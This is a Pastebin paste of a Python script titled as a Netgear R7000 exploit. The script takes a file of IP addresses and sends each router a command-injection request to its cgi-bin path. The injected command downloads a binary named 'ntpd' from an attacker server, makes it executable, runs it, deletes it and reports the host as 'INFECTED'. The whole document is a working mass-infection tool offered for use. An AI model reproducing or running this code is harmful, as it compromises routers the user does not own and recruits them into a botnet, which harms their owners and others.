mysql_Anarchy

[ PYTHON ] Netgear r7000 Exploit

Jun 17th, 2018
372
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.16 KB | None | 0 0
  1. import threading, random, socket, time, sys, requests, re
  2.  
  3.  
  4. if len(sys.argv) < 2:
  5.     print "\033[37mUsage: python "+sys.argv[0]+" <list>\033[37m"
  6.     sys.exit()
  7.  
  8. server_ip = "1.1.1.1"
  9. port = 8443
  10. # CONFIGURE URL LINE 33 MIPS BINARY DEFAULT: "ntpd"
  11. class r7000(threading.Thread):
  12.     def __init__ (self, ip):
  13.         threading.Thread.__init__(self)
  14.         self.ip = str(ip).rstrip('\n')
  15.     def run(self):
  16.         try:
  17.             try:
  18.                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  19.                 s.settimeout(4)
  20.                 s.connect((self.ip, port))
  21.                 s.close()
  22.                 fail = 0
  23.             except:
  24.                 fail = 1
  25.                 pass
  26.             try:
  27.                 if fail:
  28.                     pass
  29.                 else:
  30.                     r = requests.get("http://"+self.ip+":8443/cgi-bin/;cd${IFS}/var/tmp;${IFS}wget${IFS}http://"+server_ip+"/ntpd;${IFS}chmod${IFS}777${IFS}ntpd;${IFS}./ntpd;${IFS}rm${IFS}-rf${IFS}ntpd", timeout=12)
  31.                     if r.status_code == 200 and "Not Found" not in r.text:
  32.                         print "INFECTED "+self.ip
  33.                     elif r.status_code == 404:
  34.                         sys.exit()
  35.             except:
  36.                 pass
  37.         except Exception as e:
  38.             pass
  39.  
  40. ips = open(sys.argv[1], "r").readlines()
  41. for ip in ips:
  42.     try:
  43.         t = r7000(ip)
  44.         t.start()
  45.         time.sleep(0.01)
  46.     except Exception as e:
  47.         pass
Add Comment
Please, Sign In to add comment